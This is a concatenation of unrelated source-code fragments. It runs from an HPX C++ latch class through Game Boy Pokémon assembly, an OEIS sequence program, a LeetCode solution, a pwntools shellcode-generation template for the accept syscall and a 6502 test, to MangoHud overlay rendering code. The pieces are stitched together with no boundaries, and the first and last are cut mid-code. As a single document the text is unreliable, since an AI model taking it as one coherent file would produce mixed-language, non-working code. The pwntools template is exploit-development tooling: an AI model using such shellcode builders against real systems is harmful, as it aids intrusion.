lcos::base_lco_with_value<bool, std::ptrdiff_t> base_type_holder; // disambiguate base classes using base_type::finalize; typedef base_type::wrapping_type wrapping_type; static components::component_type get_component_type() { return components::component_latch; } static void set_component_type(components::component_type) {} naming::address get_current_address() const { return naming::address( naming::get_gid_from_locality_id(agas::get_locality_id()), components::get_component_type<latch>(), const_cast<latch*>(this)); } public: // This is the component type id. Every component type needs to have an // embedded enumerator 'value' which is used by the generic action // implementation to associate this component with a given action. enum { value = components::component_latch }; latch() : latch_(0) { } latch(std::ptrdiff_t number_of_threads) : latch_(number_of_threads) { } // standard LCO action implementations /// The function \a set_event will block the number of entering /// \a threads (as given by the constructor parameter \a number_of_threads), /// releasing all waiting threads as soon as the last \a thread /// entered this function. /// /// This is invoked whenever the count_down_and_wait() function is called void set_event() { latch_.count_down_and_wait(); } /// This is invoked whenever the count_down() function is called void set_value(std::ptrdiff_t&& n) //-V669 { latch_.count_down(n); } /// This is invoked whenever the is_ready() function is called bool get_value() { return latch_.is_ready(); } bool get_value(hpx::error_code&) { return latch_.is_ready(); } /// The \a function set_exception is called whenever a /// \a set_exception_action is applied on an instance of a LCO. This /// function just forwards to the virtual function \a set_exception, /// which is overloaded by the derived concrete LCO. /// /// \param e [in] The exception encapsulating the error to report /// to this LCO instance. void set_exception(std::exception_ptr const& e) { try { latch_.abort_all(); std::rethrow_exception(e); } catch (std::exception const& e) { // rethrow again, but this time using the native hpx mechanics HPX_THROW_EXCEPTION(hpx::no_success, "latch::set_exception", hpx::diagnostic_information(e)); } } typedef hpx::components::server::create_component_action<latch, std::ptrdiff_t> create_component_action; // additional functionality void wait() const { latch_.wait(); } HPX_DEFINE_COMPONENT_ACTION(latch, wait, wait_action) private: lcos::local::latch latch_; }; }}} // namespace hpx::lcos::server HPX_REGISTER_ACTION_DECLARATION( hpx::lcos::server::latch::create_component_action, hpx_lcos_server_latch_create_component_action) HPX_REGISTER_ACTION_DECLARATION( hpx::lcos::server::latch::wait_action, hpx_lcos_server_latch_wait_action) HPX_REGISTER_BASE_LCO_WITH_VALUE_DECLARATION( bool, std::ptrdiff_t, bool_std_ptrdiff)
EvolutionAnimation: push hl push de push bc ld a, [wCurSpecies] push af ldh a, [rOBP0] push af ld a, [wBaseDexNo] push af call .EvolutionAnimation pop af ld [wBaseDexNo], a pop af ldh [rOBP0], a pop af ld [wCurSpecies], a pop bc pop de pop hl ld a, [wEvolutionCanceled] and a ret z scf ret .EvolutionAnimation: ld a, %11100100 ldh [rOBP0], a ld de, MUSIC_NONE call PlayMusic farcall ClearSpriteAnims ld de, .GFX ld hl, vTiles0 lb bc, BANK(.GFX), 8 call Request2bpp xor a ld [wLowHealthAlarm], a call WaitBGMap xor a ldh [hBGMapMode], a ld a, [wEvolutionOldSpecies] ld [wPlayerHPPal], a ld c, $0 call .GetSGBLayout ld a, [wEvolutionOldSpecies] ld [wCurPartySpecies], a ld [wCurSpecies], a call .PlaceFrontpic ld de, vTiles2 ld hl, vTiles2 tile $31 ld bc, 7 * 7 call Request2bpp ld a, 7 * 7 ld [wEvolutionPicOffset], a call .ReplaceFrontpic ld a, [wEvolutionNewSpecies] ld [wCurPartySpecies], a ld [wCurSpecies], a call .LoadFrontpic ld a, [wEvolutionOldSpecies] ld [wCurPartySpecies], a ld [wCurSpecies], a ld a, $1 ldh [hBGMapMode], a call .check_statused jr c, .skip_cry ld a, [wEvolutionOldSpecies] call PlayMonCry .skip_cry ld de, MUSIC_EVOLUTION call PlayMusic ld c, 80 call DelayFrames ld c, $1 call .GetSGBLayout call .AnimationSequence jr c, .cancel_evo ld a, -7 * 7 ld [wEvolutionPicOffset], a call .ReplaceFrontpic xor a ld [wEvolutionCanceled], a ld a, [wEvolutionNewSpecies] ld [wPlayerHPPal], a ld c, $0 call .GetSGBLayout call .PlayEvolvedSFX farcall ClearSpriteAnims call .check_statused jr c, .no_anim ld a, [wBoxAlignment] push af ld a, $1 ld [wBoxAlignment], a ld a, [wCurPartySpecies] push af ld a, [wPlayerHPPal] ld [wCurPartySpecies], a call PlayMonCry2 pop af ld [wCurPartySpecies], a pop af ld [wBoxAlignment], a ret .no_anim ret .cancel_evo ld a, $1 ld [wEvolutionCanceled], a ld a, [wEvolutionOldSpecies] ld [wPlayerHPPal], a ld c, $0 call .GetSGBLayout call .PlayEvolvedSFX farcall ClearSpriteAnims call .check_statused ret c ld a, [wPlayerHPPal] call PlayMonCry ret .GetSGBLayout: ld b, SCGB_EVOLUTION jp GetSGBLayout .PlaceFrontpic: call GetBaseData hlcoord 7, 2 jp PrepMonFrontpic .LoadFrontpic: call GetBaseData ld a, $1 ld [wBoxAlignment], a ld de, vTiles2 predef GetAnimatedFrontpic xor a ld [wBoxAlignment], a ret .AnimationSequence: call ClearJoypad lb bc, 1, 2 * 7 ; flash b times, wait c frames in between .loop push bc call .WaitFrames_CheckPressedB pop bc jr c, .exit_sequence push bc call .Flash pop bc inc b dec c dec c jr nz, .loop and a ret .exit_sequence scf ret .Flash: ld a, -7 * 7 ; new stage ld [wEvolutionPicOffset], a call .ReplaceFrontpic ld a, 7 * 7 ; previous stage ld [wEvolutionPicOffset], a call .ReplaceFrontpic dec b jr nz, .Flash ret .ReplaceFrontpic: push bc xor a ldh [hBGMapMode], a hlcoord 7, 2 lb bc, 7, 7 ld de, SCREEN_WIDTH - 7 .loop1 push bc .loop2 ld a, [wEvolutionPicOffset] add [hl] ld [hli], a dec c jr nz, .loop2 pop bc add hl, de dec b jr nz, .loop1 ld a, $1 ldh [hBGMapMode], a call WaitBGMap pop bc ret .WaitFrames_CheckPressedB: call DelayFrame push bc call JoyTextDelay ldh a, [hJoyDown] pop bc and B_BUTTON jr nz, .pressed_b .loop3 dec c jr nz, .WaitFrames_CheckPressedB and a ret .pressed_b ld a, [wForceEvolution] and a jr nz, .loop3 scf ret .check_statused ld a, [wCurPartyMon] ld hl, wPartyMon1Species call GetPartyLocation ld b, h ld c, l farcall CheckFaintedFrzSlp ret .PlayEvolvedSFX: ld a, [wEvolutionCanceled] and a ret nz ld de, SFX_EVOLVED call PlaySFX ld hl, wJumptableIndex ld a, [hl] push af ld [hl], $0 .loop4 call .balls_of_light jr nc, .done call .AnimateBallsOfLight jr .loop4 .done ld c, 32 .loop5 call .AnimateBallsOfLight dec c jr nz, .loop5 pop af ld [wJumptableIndex], a ret .balls_of_light ld hl, wJumptableIndex ld a, [hl] cp 32 ret nc ld d, a inc [hl] and $1 jr nz, .done_balls ld e, $0 call .GenerateBallOfLight ld e, $10 call .GenerateBallOfLight .done_balls scf ret .GenerateBallOfLight: push de depixel 9, 11 ld a, SPRITE_ANIM_INDEX_EVOLUTION_BALL_OF_LIGHT call _InitSpriteAnimStruct ld hl, SPRITEANIMSTRUCT_JUMPTABLE_INDEX add hl, bc ld a, [wJumptableIndex] and %1110 sla a pop de add e ld [hl], a ld hl, SPRITEANIMSTRUCT_TILE_ID add hl, bc ld [hl], $0 ld hl, SPRITEANIMSTRUCT_0C add hl, bc ld [hl], $10 ret .AnimateBallsOfLight: push bc callfar PlaySpriteAnimations ; a = (([hVBlankCounter] + 4) / 2) % NUM_PALETTES ldh a, [hVBlankCounter] and %1110 srl a inc a inc a and $7 ld b, a ld hl, wVirtualOAMSprite00Attributes ld c, NUM_SPRITE_OAM_STRUCTS .loop6 ld a, [hl] or b ld [hli], a ; attributes rept SPRITEOAMSTRUCT_LENGTH + -1 inc hl endr dec c jr nz, .loop6 pop bc call DelayFrame ret .GFX: INCBIN "gfx/evo/bubble_large.2bpp" INCBIN "gfx/evo/bubble.2bpp"
; A104721: Expansion of (1+x)^2/(1-4*x^2). ; 1,2,5,8,20,32,80,128,320,512,1280,2048,5120,8192,20480,32768,81920,131072,327680,524288,1310720,2097152,5242880,8388608,20971520,33554432,83886080,134217728,335544320,536870912,1342177280,2147483648,5368709120,8589934592,21474836480,34359738368,85899345920,137438953472,343597383680,549755813888,1374389534720,2199023255552,5497558138880,8796093022208,21990232555520,35184372088832,87960930222080,140737488355328,351843720888320,562949953421312,1407374883553280,2251799813685248,5629499534213120,9007199254740992 mov $1,1 mov $2,1 mov $5,3 lpb $0 sub $0,1 mov $1,2 add $2,$5 mov $3,$5 trn $4,3 sub $3,$4 mov $4,$3 sub $4,3 add $1,$4 add $4,4 add $4,$1 mov $5,3 add $5,$2 add $5,2 lpe
class Solution { public: int minPathSum(vector<vector<int>>& grid) { int n = grid.size(); int m = grid[0].size(); vector<vector<int>> dp(n, vector<int>(m)); dp[0][0] = grid[0][0]; for(int i = 1; i < n; i++){ dp[i][0] = dp[i-1][0] + grid[i][0]; } for(int j = 1; j < m; j++){ dp[0][j] = dp[0][j-1] + grid[0][j]; } for(int i = 1; i < n; i++){ for(int j = 1; j < m; j++){ dp[i][j] = min(dp[i-1][j] + grid[i][j], dp[i][j-1] + grid[i][j]); } } return dp[n-1][m-1]; } };
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft %> <%docstring>accept(fd, addr, addr_len) -> str Invokes the syscall accept. See 'man 2 accept' for more information. Arguments: fd(int): fd addr(SOCKADDR_ARG): addr addr_len(socklen_t*): addr_len Returns: int </%docstring> <%page args="fd=0, addr=0, addr_len=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['fd', 'addr', 'addr_len'] argument_values = [fd, addr, addr_len] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%r' % (name, arg)) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, str): string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_accept']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* accept(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=('\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
; ----------------------------------------------------------------------------- ; Test for heap functions under py65mon. ; Martin Heermance <mheermance@gmail.com> ; ----------------------------------------------------------------------------- .word $8000 .org $8000 .outfile "tests/cellTest.rom" .alias RamSize $7EFF ; default $8000 for 32 kb x 8 bit RAM .alias heap_base $0400 ; The heap starts on page 4. .alias heap_size $4000 ; It's size is 16 KB. .require "../../Common/data.asm" .advance $c000 .require "../../Common/array.asm" .require "../cell.asm" .require "../../Common/conio.asm" .require "../gc.asm" .require "../../Common/heap.asm" .require "../../Common/math16.asm" .require "../../Common/print.asm" .require "../../Common/stack.asm" .require "../../Common/string.asm" .require "mockConio.asm" ; Main entry point for the test main: ldx #SP0 ; Reset stack pointer `pushi getch_impl ; Initialize the console vectors. `pushi putch_impl jsr conIoInit `pushi heap_size `pushi heap_base jsr gcInit jsr null_test jsr mknumber_test jsr mkcons_test jsr replace_test jsr mkstring_test jsr carcdr_test jsr mark_test brk .scope ; Do a set of tests that should always return null. _name: .byte "*** null test ***",0 _string1Cell: .byte C_STRING _string1: .byte "Cell Test Enter",0 null_test: `println _name ; Push a null and invoke car and cdr on it. `pushi 0 jsr cellCar jsr cellCdr `pushi _string1 jsr cellCar `pushi _string1 jsr cellCdr jsr printstack `drop `drop `drop rts .scend .scope _name: .byte "*** mknumber test ***",0 mknumber_test: `println _name ; Push a null and invoke car and cdr on it. `pushi $7e10 jsr cellMkNumber jsr cellPrint `printcr rts .scend .scope _name: .byte "*** cons test ***",0 .byte C_STRING _argA: .byte "A",0 .byte C_STRING _argB: .byte "B",0 mkcons_test: `println _name `pushi _argA `pushzero jsr cellMkCons `dup jsr cellPrint `printcr `pushi _argB `pushzero jsr cellMkCons `dup jsr cellPrint `printcr jsr printstack rts .scend .scope _name: .byte "*** mkstring test ***",0 _string1Cell: .byte C_STRING _string1: .byte "Cell Test Enter",0 _string2: .byte "Cell Test Exit",0 mkstring_test: `println _name ; Test cellPrint with a hand built cell `pushi _string1 jsr cellPrint `printcr ; Now use a cell constructor to make a cell. `pushi _string2 jsr cellMkString jsr cellPrint `printcr `printcr rts .scend .scope _name: .byte "*** car cdr test ***",0 carcdr_test: `println _name `dup `dup jsr cellCar `swap jsr cellCdr jsr printstack jsr cellPrint `printcr jsr cellPrint `printcr jsr printstack rts .scend .scope _name: .byte "*** replace test ***",0 .byte C_STRING _argC: .byte "C",0 replace_test: `println _name `over ; Test replace cdr operator jsr cellRplacd `dup jsr cellPrint `printcr `pushi _argC `over jsr cellRplaca `dup jsr cellPrint `printcr jsr printstack rts .scend .scope _name: .byte "*** mark test ***",0 _msg1: .byte "mark = ",0 mark_test: `println _name ; Call mark and see if it recursively marks other cells. `print _msg1 `cellGetMark jsr printa `printcr `dup jsr cellMark `print _msg1 `cellGetMark jsr printa `printcr `dup jsr cellCar `print _msg1 `cellGetMark jsr printa `printcr jsr printstack `printcr rts .scend .require "../../Common/vectors.asm"
; void sp1_DeleteSpr_fastcall(struct sp1_ss *s) SECTION code_clib SECTION code_temp_sp1 PUBLIC _sp1_DeleteSpr_fastcall EXTERN asm_sp1_DeleteSpr defc _sp1_DeleteSpr_fastcall = asm_sp1_DeleteSpr
#include <sstream> #include <iomanip> #include <algorithm> #include <thread> #include <condition_variable> #include <spdlog/spdlog.h> #include <filesystem.h> #include "overlay.h" #include "logging.h" #include "cpu.h" #include "gpu.h" #include "memory.h" #include "timing.hpp" #include "mesa/util/macros.h" #include "string_utils.h" #include "battery.h" #include "string_utils.h" #include "file_utils.h" #include "gpu.h" #include "logging.h" #include "cpu.h" #include "memory.h" #include "pci_ids.h" #include "timing.hpp" #ifdef __linux__ #include <libgen.h> #include <unistd.h> #endif namespace fs = ghc::filesystem; #ifdef HAVE_DBUS float g_overflow = 50.f /* 3333ms * 0.5 / 16.6667 / 2 (to edge and back) */; #endif string gpuString,wineVersion,wineProcess; int32_t deviceID; bool gui_open = false; struct benchmark_stats benchmark; struct fps_limit fps_limit_stats {}; ImVec2 real_font_size; std::vector<logData> graph_data; const char* engines[] = {"Unknown", "OpenGL", "VULKAN", "DXVK", "VKD3D", "DAMAVAND", "ZINK", "WINED3D", "Feral3D", "ToGL", "GAMESCOPE"}; overlay_params *_params {}; void update_hw_info(struct swapchain_stats& sw_stats, struct overlay_params& params, uint32_t vendorID) { if (params.enabled[OVERLAY_PARAM_ENABLED_cpu_stats] || logger->is_active()) { cpuStats.UpdateCPUData(); #ifdef __linux__ if (params.enabled[OVERLAY_PARAM_ENABLED_core_load] || params.enabled[OVERLAY_PARAM_ENABLED_cpu_mhz]) cpuStats.UpdateCoreMhz(); if (params.enabled[OVERLAY_PARAM_ENABLED_cpu_temp] || logger->is_active() || params.enabled[OVERLAY_PARAM_ENABLED_graphs]) cpuStats.UpdateCpuTemp(); if (params.enabled[OVERLAY_PARAM_ENABLED_cpu_power]) cpuStats.UpdateCpuPower(); #endif } if (params.enabled[OVERLAY_PARAM_ENABLED_gpu_stats] || logger->is_active()) { if (vendorID == 0x1002 && getAmdGpuInfo_actual) getAmdGpuInfo_actual(); if (vendorID == 0x10de) getNvidiaGpuInfo(); } #ifdef __linux__ if (params.enabled[OVERLAY_PARAM_ENABLED_battery]) Battery_Stats.update(); if (params.enabled[OVERLAY_PARAM_ENABLED_ram] || params.enabled[OVERLAY_PARAM_ENABLED_swap] || logger->is_active()) update_meminfo(); if (params.enabled[OVERLAY_PARAM_ENABLED_procmem]) update_procmem(); if (params.enabled[OVERLAY_PARAM_ENABLED_io_read] || params.enabled[OVERLAY_PARAM_ENABLED_io_write]) getIoStats(&sw_stats.io); #endif currentLogData.gpu_load = gpu_info.load; currentLogData.gpu_temp = gpu_info.temp; currentLogData.gpu_core_clock = gpu_info.CoreClock; currentLogData.gpu_mem_clock = gpu_info.MemClock; currentLogData.gpu_vram_used = gpu_info.memoryUsed; currentLogData.gpu_power = gpu_info.powerUsage; #ifdef __linux__ currentLogData.ram_used = memused; #endif currentLogData.cpu_load = cpuStats.GetCPUDataTotal().percent; currentLogData.cpu_temp = cpuStats.GetCPUDataTotal().temp; // Save data for graphs if (graph_data.size() > 50) graph_data.erase(graph_data.begin()); graph_data.push_back(currentLogData); logger->notify_data_valid(); HUDElements.update_exec(); } struct hw_info_updater { bool quit = false; std::thread thread {}; struct swapchain_stats* sw_stats = nullptr; struct overlay_params* params = nullptr; uint32_t vendorID; bool update_hw_info_thread = false; std::condition_variable cv_hwupdate; std::mutex m_cv_hwupdate, m_hw_updating; hw_info_updater() { thread = std::thread(&hw_info_updater::run, this); } ~hw_info_updater() { quit = true; cv_hwupdate.notify_all(); if (thread.joinable()) thread.join(); } void update(struct swapchain_stats* sw_stats_, struct overlay_params* params_, uint32_t vendorID_) { std::unique_lock<std::mutex> lk_hw_updating(m_hw_updating, std::try_to_lock); if (lk_hw_updating.owns_lock()) { sw_stats = sw_stats_; params = params_; vendorID = vendorID_; update_hw_info_thread = true; cv_hwupdate.notify_all(); } } void run(){ while (!quit){ std::unique_lock<std::mutex> lk_cv_hwupdate(m_cv_hwupdate); cv_hwupdate.wait(lk_cv_hwupdate, [&]{ return update_hw_info_thread || quit; }); if (quit) break; if (sw_stats && params) { std::unique_lock<std::mutex> lk_hw_updating(m_hw_updating); update_hw_info(*sw_stats, *params, vendorID); } update_hw_info_thread = false; } } }; static std::unique_ptr<hw_info_updater> hw_update_thread; void stop_hw_updater() { if (hw_update_thread) hw_update_thread.reset(); } void update_hud_info(struct swapchain_stats& sw_stats, struct overlay_params& params, uint32_t vendorID){ uint32_t f_idx = sw_stats.n_frames % ARRAY_SIZE(sw_stats.frames_stats); uint64_t now = os_time_get_nano(); /* ns */ double elapsed = (double)(now - sw_stats.last_fps_update); /* ns */ fps = 1000000000.0 * sw_stats.n_frames_since_update / elapsed; if (logger->is_active()) benchmark.fps_data.push_back(fps); if (sw_stats.last_present_time) { sw_stats.frames_stats[f_idx].stats[OVERLAY_PLOTS_frame_timing] = now - sw_stats.last_present_time; } frametime = (now - sw_stats.last_present_time) / 1000; if (elapsed >= params.fps_sampling_period) { if (!hw_update_thread) hw_update_thread = std::make_unique<hw_info_updater>(); hw_update_thread->update(&sw_stats, &params, vendorID); sw_stats.fps = fps; if (params.enabled[OVERLAY_PARAM_ENABLED_time]) { std::time_t t = std::time(nullptr); std::stringstream time; time << std::put_time(std::localtime(&t), params.time_format.c_str()); sw_stats.time = time.str(); } sw_stats.n_frames_since_update = 0; sw_stats.last_fps_update = now; } if (params.log_interval == 0){ logger->try_log(); } sw_stats.last_present_time = now; sw_stats.n_frames++; sw_stats.n_frames_since_update++; } void calculate_benchmark_data(){ vector<float> sorted = benchmark.fps_data; std::sort(sorted.begin(), sorted.end()); benchmark.percentile_data.clear(); benchmark.total = 0.f; for (auto fps_ : sorted){ benchmark.total = benchmark.total + fps_; } size_t max_label_size = 0; for (std::string percentile : _params->benchmark_percentiles) { float result; // special case handling for a mean-based average if (percentile == "AVG") { result = benchmark.total / sorted.size(); } else { // the percentiles are already validated when they're parsed from the config. float fraction = parse_float(percentile) / 100; result = sorted[(fraction * sorted.size()) - 1]; percentile += "%"; } if (percentile.length() > max_label_size) max_label_size = percentile.length(); benchmark.percentile_data.push_back({percentile, result}); } for (auto& entry : benchmark.percentile_data) { entry.first.append(max_label_size - entry.first.length(), ' '); } } float get_time_stat(void *_data, int _idx) { struct swapchain_stats *data = (struct swapchain_stats *) _data; if ((ARRAY_SIZE(data->frames_stats) - _idx) > data->n_frames) return 0.0f; int idx = ARRAY_SIZE(data->frames_stats) + data->n_frames < ARRAY_SIZE(data->frames_stats) ? _idx - data->n_frames : _idx + data->n_frames; idx %= ARRAY_SIZE(data->frames_stats); /* Time stats are in us. */ return data->frames_stats[idx].stats[data->stat_selector] / data->time_dividor; } void position_layer(struct swapchain_stats& data, struct overlay_params& params, ImVec2 window_size) { unsigned width = ImGui::GetIO().DisplaySize.x; unsigned height = ImGui::GetIO().DisplaySize.y; float margin = 10.0f; if (params.offset_x > 0 || params.offset_y > 0) margin = 0.0f; ImGui::SetNextWindowBgAlpha(params.background_alpha); ImGui::SetNextWindowSize(window_size, ImGuiCond_Always); ImGui::PushStyleVar(ImGuiStyleVar_WindowBorderSize, 0.0f); ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(8,-3)); ImGui::PushStyleVar(ImGuiStyleVar_Alpha, params.alpha); switch (params.position) { case LAYER_POSITION_TOP_LEFT: data.main_window_pos = ImVec2(margin + params.offset_x, margin + params.offset_y); ImGui::SetNextWindowPos(data.main_window_pos, ImGuiCond_Always); break; case LAYER_POSITION_TOP_RIGHT: data.main_window_pos = ImVec2(width - window_size.x - margin + params.offset_x, margin + params.offset_y); ImGui::SetNextWindowPos(data.main_window_pos, ImGuiCond_Always); break; case LAYER_POSITION_MIDDLE_LEFT: data.main_window_pos = ImVec2(margin + params.offset_x, height / 2 - window_size.y / 2 - margin + params.offset_y); ImGui::SetNextWindowPos(data.main_window_pos, ImGuiCond_Always); break; case LAYER_POSITION_MIDDLE_RIGHT: data.main_window_pos = ImVec2(width - window_size.x - margin + params.offset_x, height / 2 - window_size.y / 2 - margin + params.offset_y); ImGui::SetNextWindowPos(data.main_window_pos, ImGuiCond_Always); break; case LAYER_POSITION_BOTTOM_LEFT: data.main_window_pos = ImVec2(margin + params.offset_x, height - window_size.y - margin + params.offset_y); ImGui::SetNextWindowPos(data.main_window_pos, ImGuiCond_Always); break; case LAYER_POSITION_BOTTOM_RIGHT: data.main_window_pos = ImVec2(width - window_size.x - margin + params.offset_x, height - window_size.y - margin + params.offset_y); ImGui::SetNextWindowPos(data.main_window_pos, ImGuiCond_Always); break; case LAYER_POSITION_TOP_CENTER: data.main_window_pos = ImVec2((width / 2) - (window_size.x / 2), margin + params.offset_y); ImGui::SetNextWindowPos(data.main_window_pos, ImGuiCond_Always); break; } } void right_aligned_text(ImVec4& col, float off_x, const char *fmt, ...) { ImVec2 pos = ImGui::GetCursorPos(); char buffer[32] {}; va_list args; va_start(args, fmt); vsnprintf(buffer, sizeof(buffer), fmt, args); va_end(args); ImVec2 sz = ImGui::CalcTextSize(buffer); ImGui::SetCursorPosX(pos.x + off_x - sz.x); //ImGui::Text("%s", buffer); ImGui::TextColored(col,"%s",buffer); } void center_text(const std::string& text) { ImGui::SetCursorPosX((ImGui::GetWindowSize().x / 2 )- (ImGui::CalcTextSize(text.c_str()).x / 2)); } float get_ticker_limited_pos(float pos, float tw, float& left_limit, float& right_limit) { //float cw = ImGui::GetContentRegionAvailWidth() * 3; // only table cell worth of width float cw = ImGui::GetWindowContentRegionMax().x - ImGui::GetStyle().WindowPadding.x; float new_pos_x = ImGui::GetCursorPosX(); left_limit = cw - tw + new_pos_x; right_limit = new_pos_x; if (cw < tw) { new_pos_x += pos; // acts as a delay before it starts scrolling again if (new_pos_x < left_limit) return left_limit; else if (new_pos_x > right_limit) return right_limit; else return new_pos_x; } return new_pos_x; } #ifdef HAVE_DBUS void render_mpris_metadata(struct overlay_params& params, mutexed_metadata& meta, uint64_t frame_timing) { if (meta.meta.valid) { auto color = ImGui::ColorConvertU32ToFloat4(params.media_player_color); ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(8,0)); ImGui::Dummy(ImVec2(0.0f, 20.0f)); //ImGui::PushFont(data.font1); if (meta.ticker.needs_recalc) { meta.ticker.formatted.clear(); meta.ticker.longest = 0; for (const auto& f : params.media_player_format) { std::string str; try { str = fmt::format(f, fmt::arg("artist", meta.meta.artists), fmt::arg("title", meta.meta.title), fmt::arg("album", meta.meta.album)); } catch (const fmt::format_error& err) { SPDLOG_ERROR("formatting error in '{}': {}", f, err.what()); } float w = ImGui::CalcTextSize(str.c_str()).x; meta.ticker.longest = std::max(meta.ticker.longest, w); meta.ticker.formatted.push_back({str, w}); } meta.ticker.needs_recalc = false; } float new_pos, left_limit = 0, right_limit = 0; get_ticker_limited_pos(meta.ticker.pos, meta.ticker.longest, left_limit, right_limit); if (meta.ticker.pos < left_limit - g_overflow * .5f) { meta.ticker.dir = -1; meta.ticker.pos = (left_limit - g_overflow * .5f) + 1.f /* random */; } else if (meta.ticker.pos > right_limit + g_overflow) { meta.ticker.dir = 1; meta.ticker.pos = (right_limit + g_overflow) - 1.f /* random */; } meta.ticker.pos -= .5f * (frame_timing / 16666666.7f /* ns */) * meta.ticker.dir; for (const auto& fmt : meta.ticker.formatted) { if (fmt.text.empty()) continue; new_pos = get_ticker_limited_pos(meta.ticker.pos, fmt.width, left_limit, right_limit); ImGui::SetCursorPosX(new_pos); ImGui::TextColored(color, "%s", fmt.text.c_str()); } if (!meta.meta.playing) { ImGui::TextColored(color, "(paused)"); } //ImGui::PopFont(); ImGui::PopStyleVar(); } } #endif void render_benchmark(swapchain_stats& data, struct overlay_params& params, ImVec2& window_size, unsigned height, Clock::time_point now){ // TODO, FIX LOG_DURATION FOR BENCHMARK int benchHeight = (2 + benchmark.percentile_data.size()) * real_font_size.x + 10.0f + 58; ImGui::SetNextWindowSize(ImVec2(window_size.x, benchHeight), ImGuiCond_Always); if (height - (window_size.y + data.main_window_pos.y + 5) < benchHeight) ImGui::SetNextWindowPos(ImVec2(data.main_window_pos.x, data.main_window_pos.y - benchHeight - 5), ImGuiCond_Always); else ImGui::SetNextWindowPos(ImVec2(data.main_window_pos.x, data.main_window_pos.y + window_size.y + 5), ImGuiCond_Always); float display_time = std::chrono::duration<float>(now - logger->last_log_end()).count(); static float display_for = 10.0f; float alpha; if (params.background_alpha != 0){ if (display_for >= display_time){ alpha = display_time * params.background_alpha; if (alpha >= params.background_alpha){ ImGui::SetNextWindowBgAlpha(params.background_alpha); }else{ ImGui::SetNextWindowBgAlpha(alpha); } } else { alpha = 6.0 - display_time * params.background_alpha; if (alpha >= params.background_alpha){ ImGui::SetNextWindowBgAlpha(params.background_alpha); }else{ ImGui::SetNextWindowBgAlpha(alpha); } } } else { if (display_for >= display_time){ alpha = display_time * 0.0001; ImGui::SetNextWindowBgAlpha(params.background_alpha); } else { alpha = 6.0 - display_time * 0.0001; ImGui::SetNextWindowBgAlpha(params.background_alpha); } } ImGui::Begin("Benchmark", &gui_open, ImGuiWindowFlags_NoDecoration); static const char* finished = "Logging Finished"; ImGui::SetCursorPosX((ImGui::GetWindowSize().x / 2 )- (ImGui::CalcTextSize(finished).x / 2)); ImGui::TextColored(ImVec4(1.0, 1.0, 1.0, alpha / params.background_alpha), "%s", finished); ImGui::Dummy(ImVec2(0.0f, 8.0f)); char duration[20]; snprintf(duration, sizeof(duration), "Duration: %.1fs", std::chrono::duration<float>(logger->last_log_end() - logger->last_log_begin()).count()); ImGui::SetCursorPosX((ImGui::GetWindowSize().x / 2 )- (ImGui::CalcTextSize(duration).x / 2)); ImGui::TextColored(ImVec4(1.0, 1.0, 1.0, alpha / params.background_alpha), "%s", duration); for (auto& data_ : benchmark.percentile_data){ char buffer[20]; snprintf(buffer, sizeof(buffer), "%s %.1f", data_.first.c_str(), data_.second); ImGui::SetCursorPosX((ImGui::GetWindowSize().x / 2 )- (ImGui::CalcTextSize(buffer).x / 2)); ImGui::TextColored(ImVec4(1.0, 1.0, 1.0, alpha / params.background_alpha), "%s %.1f", data_.first.c_str(), data_.second); } float max = *max_element(benchmark.fps_data.begin(), benchmark.fps_data.end()); ImVec4 plotColor = HUDElements.colors.frametime; plotColor.w = alpha / params.background_alpha; ImGui::PushStyleColor(ImGuiCol_PlotLines, plotColor); ImGui::PushStyleColor(ImGuiCol_FrameBg, ImVec4(0.0, 0.0, 0.0, alpha / params.background_alpha)); ImGui::Dummy(ImVec2(0.0f, 8.0f)); if (params.enabled[OVERLAY_PARAM_ENABLED_histogram]) ImGui::PlotHistogram("", benchmark.fps_data.data(), benchmark.fps_data.size(), 0, "", 0.0f, max + 10, ImVec2(ImGui::GetContentRegionAvailWidth(), 50)); else ImGui::PlotLines("", benchmark.fps_data.data(), benchmark.fps_data.size(), 0, "", 0.0f, max + 10, ImVec2(ImGui::GetContentRegionAvailWidth(), 50)); ImGui::PopStyleColor(2); ImGui::End(); } ImVec4 change_on_load_temp(LOAD_DATA& data, unsigned current) { if (current >= data.high_load){ return data.color_high; } else if (current >= data.med_load){ float diff = float(current - data.med_load) / float(data.high_load - data.med_load); float x = (data.color_high.x - data.color_med.x) * diff; float y = (data.color_high.y - data.color_med.y) * diff; float z = (data.color_high.z - data.color_med.z) * diff; return ImVec4(data.color_med.x + x, data.color_med.y + y, data.color_med.z + z, 1.0); } else { float diff = float(current) / float(data.med_load); 